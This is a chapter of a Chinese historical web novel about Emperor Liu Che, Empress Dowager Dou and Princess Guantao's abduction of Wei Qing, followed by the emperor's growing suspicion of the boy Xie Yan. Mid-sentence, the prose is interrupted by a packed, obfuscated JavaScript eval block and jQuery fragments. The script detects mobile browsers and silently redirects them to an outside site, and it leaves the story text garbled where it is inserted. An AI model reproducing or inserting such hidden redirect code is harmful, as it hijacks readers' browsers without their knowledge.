韩嫣把太医和杨得意请的医者打发走就带着见过绑匪的建章监前往廷尉府。
谁知二人才出离宫就碰到廷尉。
馆陶大长公主的夫君乃堂邑侯陈午,她便居住在侯府之中。她的奴仆没有抓到卫青定会前往侯府说明详情,现在出发兴许能把恶人堵在府中。
韩嫣便叫廷尉随他前往堂邑侯府拿人。
再说刘彻。
入城后刘彻直奔太皇太后居住的长乐宫。
刘彻年方十九,血气方刚,又因盼了几年的孩子险些胎死腹中,他越想越恼,见着祖母太皇太后直接问她是不是希望汉家绝后。
太皇太后双目失明,看不见皇帝的样子,只是听这语气也不由得心里咯噔一下。幸而她历经三朝,饱经世故,不动声色地问:“皇帝何出此言?”
皇帝刘彻顺势把馆陶公主干的事和盘托出,末了又说卫青的裤脚全是血,幸好建章有个兽医及时为他止血。此事若被其姊卫氏知晓,即便二人同母异父,不如同父同母的姊妹感情亲厚,卫氏也难免因此黯然伤神。姑母是不是就盼着卫氏动了胎气,孩子早产!
刘彻又问,他是皇帝,姑母是大长公主,他因无子换成旁人主政,姑母还有如今的尊荣吗。当年姑母一心想同皇家结亲,先是挑中长兄,被其母栗姬拒绝,又打起他的主意,不正是为了永保富贵。姑母今日之举看似心疼皇后,然而一旦被她得逞,最终不过是亲者痛仇者快。
太皇太后无言以对,心里暗骂女儿糊涂,卫氏不过是低贱的讴者,竟然能叫她乱了方寸。
刘彻见状心里痛快极了。
前几年他尚未坐稳帝位就推行新政导致朝堂不稳,太皇太后不得不出面安抚老臣。虽然刘彻有意识到他过于着急,可他自幼顺风顺水,从未遇到过坎坷,此事令他颜面扫地,心里很是憋屈,在太皇太后面前也一直直不起腰杆。
终于可以理直气壮一吐为快,刘彻继续,说建章虽是离宫,也是皇家宫苑,光天化日之下,姑母的人就敢在此行凶,长此以往下去,她是不是敢去未央宫把朕绑了。
太皇太后心想说,馆陶不敢。可是她更能理解皇帝的愤怒。这事要不是馆陶干的,无论是谁,太皇太后都会令廷尉严查严惩。
因为正如皇帝所言,天子是刘彻,她是居住在东宫的太皇太后。若是换成在坊间久负盛名的淮南王刘安,她怕是只能搬去建章。
太皇太后叹气:“哀家这就令人把你姑母找来。”
找来向他赔罪吗?刘彻冷不丁意识到不可。
太皇太后此生仅一女两子,分别是馆陶公主和先帝以及梁王。以前太皇太后最疼小儿梁王,一度希望先帝立梁王为太子。馆陶公主常年被忽视。自从前几年小儿子大儿子相继离世,太皇太后心里便只有这一个女儿。
刘彻听其母王太后说过,打在儿身,疼在娘心。
这一点想必对太皇太后一样适用。
今日他得理不饶人,他日太皇太后定会想方设法讨回来。
刘彻:“不必了。姑母也是一时犯糊涂。”
太皇太后面露诧异,向来同她针锋相对的孙儿怎么突然变了?难不成因为卫氏有孕,他认为自己要当父亲,因此稳重了。
刘彻看到祖母的样子,便知道自己猜对了,“此事也不能就此作罢。姑母白天行凶被许多人看在眼里,现在封口也晚了。若不严惩,暗藏在城中的细作定会以姑母的名义再来一次。”
太皇太后担心馆陶个糊涂的受人蛊惑再来一次:“哀家定会叫皇帝满意。”
“朕先告退。卫氏估计还不知。朕要告诉她卫青只是受了点皮外伤。”刘彻说完就回未央宫。
太皇太后姓窦,世人又称其为窦太后。因此其女馆陶又被称为“窦太主”。
皇帝走远,窦太后揉揉额角,重重地叹了一口气,面若寒霜:“去把皇后和大长公主给哀家找来!”
小黄门抵达堂邑侯府,正好碰到馆陶极为傲慢地在院中怒斥廷尉。
韩嫣认识长乐宫小黄门,见状就叫廷尉回府衙等着。馆陶不屑地冷嗤一声,小黄门硬着头皮过去,“公主,太后有请。”
这个节骨眼上,又赶着晌午用饭的时候,不应该召她进宫。馆陶不由得多想,给心腹婢女使个眼色,婢女回房拿个荷包,匆匆往里塞一块金币递给小黄门。
小黄门立刻把皇帝说的那番话告诉馆陶公主。
馆陶公主心底好笑,皇帝居然学会了危言耸听。
抵达长乐宫,馆陶笑吟吟问:“娘,您叫我过来是不是因为卫家那小子?一个奴才,死了就死了,值得您兴师动众?”
“住口!”窦太后一听这话就知道她找小黄门打听过,“你因何令人掳走卫青,骗得了旁人骗不了哀家!”听到脚步声,窦太后循声转头,“是不是皇后?”
陈后也知道出什么事了,她也觉得此事不值得太皇太后亲自过问。然而看到窦太后面色不好,陈后不敢火上浇油,只能把不以为意的说辞咽回去。
陈后走近,在她身边坐下:“外祖母。”
窦太后朝女儿方向看去,虽然看不见,不妨碍她用脸瞪馆陶,“既然知道卫家那小子不值得哀家动怒,为何区区一个卫氏就值得你明火执仗?”
馆陶不假思索地说:“她若诞下皇长子,陛下立其子为太子,定会废了皇后立卫氏为后!”
“谁同你说皇帝会立其子为太子?他问过哀家吗?哀家还没死!卫氏就是生十个八个,皇帝也是立皇后生的嫡子。”窦太后道。
馆陶看着女儿伤神不想说下去,可是她又忍不住辩解:“皇后没能为陛下诞下一儿半女呢?”
窦太后:“皇后无子,你又不许卫氏顺产,哀家问你,各地蠢蠢欲动的藩王会不会借此逼宫?皇帝立卫氏的儿子为太子,皇后被废仍然衣食无忧。以前你弟为了太子的母亲废了无子的薄后,也不曾苛待她。假以时日,换个皇帝,皇后只会沦为阶下囚。你这个姑母最好的结果是被贬为庶人!这一点你想过没有?”
馆陶顿时感到后怕:“娘——”
“现在知道我是你娘?早干什么去了?”窦太后没好气地打断。
馆陶意识到老太太真生气了,不敢嘴硬:“那你叫我怎么做,去廷尉府认罪吗?”
“我有此意还把你叫过来?”窦太后反问,“可是你也不能当无事发生。”
馆陶听糊涂了,琢磨片刻,试探问道:“参与此事的奴仆交给廷尉?”
“一群废物连个半大少年都抓不住,你留着作甚?”窦太后冷声问。
馆陶心里也觉得那些人不中用,闻言冲小黄门招招手,叫他替她去廷尉府。
窦太后转向皇后,语重心长地问:“你担心卫氏有可能生下长子,若是个女儿呢?再说,无论男女,卫氏都为皇帝稳住了帝位。皇帝稳了,你才是皇后。你也可以安心调养身体备孕。”
陈后点点头,意识到窦太后看不见,拉住她的手:“外祖母,我知道错了。卫氏,我——”
窦太后微微摇头:“卫氏不知此事,你就别去添乱了。皇帝没能把此事糊弄过去,害得卫氏动了胎气是他的事。要是你把人气没了,哀家也保不了你。”说到此转向馆陶公主。
馆陶公主不服气,可是一想老太太方才说的那番话,又不得不承认今日是她莽撞。
窦太后依然担心馆陶犯糊涂:“哀家希望这种事是最后一次!”
馆陶赶忙应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177412|180784||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声“喏”。
窦太后抬抬手令母女二人退下。
随后窦太后唤来心腹女官,令其拿千金给卫氏送去。女官不禁说:“您是长者——”
窦太后心累,不想听她絮叨:“哀家七十多岁了,还能护皇后几年。只当结个善缘,他日卫氏能善待皇后。”说到此,窦太后又令女官开库房拿六匹布给卫母做衣裳。
女官乘车把财物送到,皇帝才把此事糊弄过去。卫夫人看到太皇太后出面便明白大长公主不敢再残害卫家人。
皇帝算着时间,估计他姑母被他祖母教训了一顿,日后不敢再仗势欺人,悬着的心才落到实处。
解决此事,谢晏的样子浮现在皇帝眼前。
皇帝向来对鬼神之事深信不疑,他不由得怀疑谢晏莫非神童降世,否则无法解释他听不见别人的心声,别人也听不见谢晏的心声,唯独他这个天子能听到。
刘彻想到谢晏就想到“初恋男友”。“男友”二字很好理解,男性友人。可是加上“恋”字,刘彻忍不住多想,也忍不住疑惑谢晏个小鬼头怎么连这种事都知道。
犹豫再三,刘彻移驾他所居正室——宣室,令小黄门把韩嫣找来。
韩嫣正要向皇帝回禀,馆陶公主把参与绑架卫青的奴仆交给廷尉,因此在宫门口碰到宣室小黄门。
韩嫣急匆匆到宣室就问皇帝有何吩咐。
皇帝同韩嫣自幼相识,世人都说韩嫣是皇帝的男宠,朝中百官视其为奸佞,但有一点无可诟病,韩嫣对皇帝的忠心。
刘彻不敢交给旁人的事交给韩嫣,韩嫣定会尽可能做到尽善尽美。因此刘彻令韩嫣去查查谢晏。
韩嫣愣了一瞬,他以为卫家又出事了:“给卫青止血的小孩?他才十来岁,没什么可查的吧。”
刘彻:“如今十来岁,那他前十年做过什么?一个十来岁的小孩竟然认识那么多草药,不值得怀疑?”
韩嫣怀疑皇帝中暑了:“可是他在宫里四年了。先帝驾崩那年他随叔父——臣差点忘了,他叔父正是小黄门谢经。”
“他是谢经的侄子?”刘彻很是震惊。谢经在他身边近十年,他是第一次知道谢经还有个侄子。
韩嫣:“五年前谢经的兄长去世,他收到家书后大哭一场,因此臣对此事记忆深刻。后来听说其嫂改嫁,侄子又惨遭族人作践,还曾跳过河,幸好遇到好心人被救起。谢经担心侄子,请了三个月长假把侄子带过来。因为太过年幼,就交给杨得意,令其跟随杨得意养狗。谢家乃蜀郡大族,谢经饱读诗书,他侄子看过医术认识草药不足为奇。”顿了顿,“去掉谢晏不记事的那几年,他在宫外最多四年,这么小的小孩能犯什么事?”
刘彻留意到“跳河”,难道正是那次被鬼附身?
谢小鬼说他是“汉武帝”。倘若小鬼未卜先知,不可能算得如此精准。难不成小鬼比他活得久,切切实实经历过。所以谢小鬼实则是个老东西。
刘彻越想越无法断定谢晏的来历,看来只能从谢晏本人入手:“罢了。”
韩嫣:“卫青那里,臣是不是再去看看他需要什么?”
老东西看起来很是关心卫青,有他在卫青应该可以很快痊愈。刘彻微微摇头,令韩嫣传他口谕,建章监调入宫中,即日起卫青为建章监。
日后卫青手下有人,他不信馆陶还敢绑他。
刘彻仍然不放心,又为其加官“侍中”,侍中可以出入禁宫,卫青再遇到难事可以直接找他。
卫青看起来身体瘦弱,刘彻又赏其百金,令其安心休养。公孙敖等人均有赏。
韩嫣发现唯独漏了谢晏:“陛下,谢晏呢?”
刘彻冷笑:“那个小鬼,表里不一,日后再议!”